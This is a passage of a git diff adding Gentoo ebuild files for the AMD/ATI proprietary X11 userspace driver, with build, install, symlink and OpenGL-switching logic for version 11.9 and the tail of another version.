+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.10.99
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	app-misc/pax-utils
+	app-portage/portage-utils
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	local alllibdir="$(get_libdir)"
+	use multilib && alllibdir="lib64 lib32"
+	for libdir in ${alllibdir}
+	do
+		dosym /usr/${libdir}/opengl/xorg-x11/lib/libGL.so.1.2 \
+			/usr/${libdir}/fglrx/libGL.so.1.2
+		dosym ./libGL.so.1.2 /usr/${libdir}/fglrx/fglrx-libGL.so.1.2
+
+		# Fixup xvba-video compilation
+		dosym libXvBAW.so.1.0 /usr/${libdir}/libXvBAW.so
+	done
+
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/lib/libGL.so.1.2 \
+		${ATI_ROOT}/lib/FGL.renamed.libGL.so.1.2
+	dosym ./libGL.so.1.2 ${ATI_ROOT}/lib/fglrx-libGL.so.1.2
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/extensions/libglx.so \
+		${ATI_ROOT}/extensions/FGL.renamed.libglx.so
+	dosym fglrx-libglx.so ${ATI_ROOT}/extensions/libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal libraries
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "You will have to source /etc/profile (or logout and back in) for dri"
+	elog "to work, unless you previously had ati-drivers installed."
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.9.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.9.ebuild
new file mode 100644
index 00000000..f38ceffa
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.9.ebuild
@@ -0,0 +1,398 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.10.99
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	app-misc/pax-utils
+	app-portage/portage-utils
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	local alllibdir="$(get_libdir)"
+	use multilib && alllibdir="lib64 lib32"
+	for libdir in ${alllibdir}
+	do
+		dosym /usr/${libdir}/opengl/xorg-x11/lib/libGL.so.1.2 \
+			/usr/${libdir}/fglrx/libGL.so.1.2
+		dosym ./libGL.so.1.2 /usr/${libdir}/fglrx/fglrx-libGL.so.1.2
+
+		# Fixup xvba-video compilation
+		dosym libXvBAW.so.1.0 /usr/${libdir}/libXvBAW.so
+	done
+
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/lib/libGL.so.1.2 \
+		${ATI_ROOT}/lib/FGL.renamed.libGL.so.1.2
+	dosym ./libGL.so.1.2 ${ATI_ROOT}/lib/fglrx-libGL.so.1.2
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/extensions/libglx.so \
+		${ATI_ROOT}/extensions/FGL.renamed.libglx.so
+	dosym fglrx-libglx.so ${ATI_ROOT}/extensions/libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal libraries
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "You will have to source /etc/profile (or logout and back in) for dri"
+	elog "to work, unless you previously had ati-drivers installed."
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.1-r1.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.1-r1.ebuild
new file mode 100644
index 00000000..3993df43
--- /dev/null
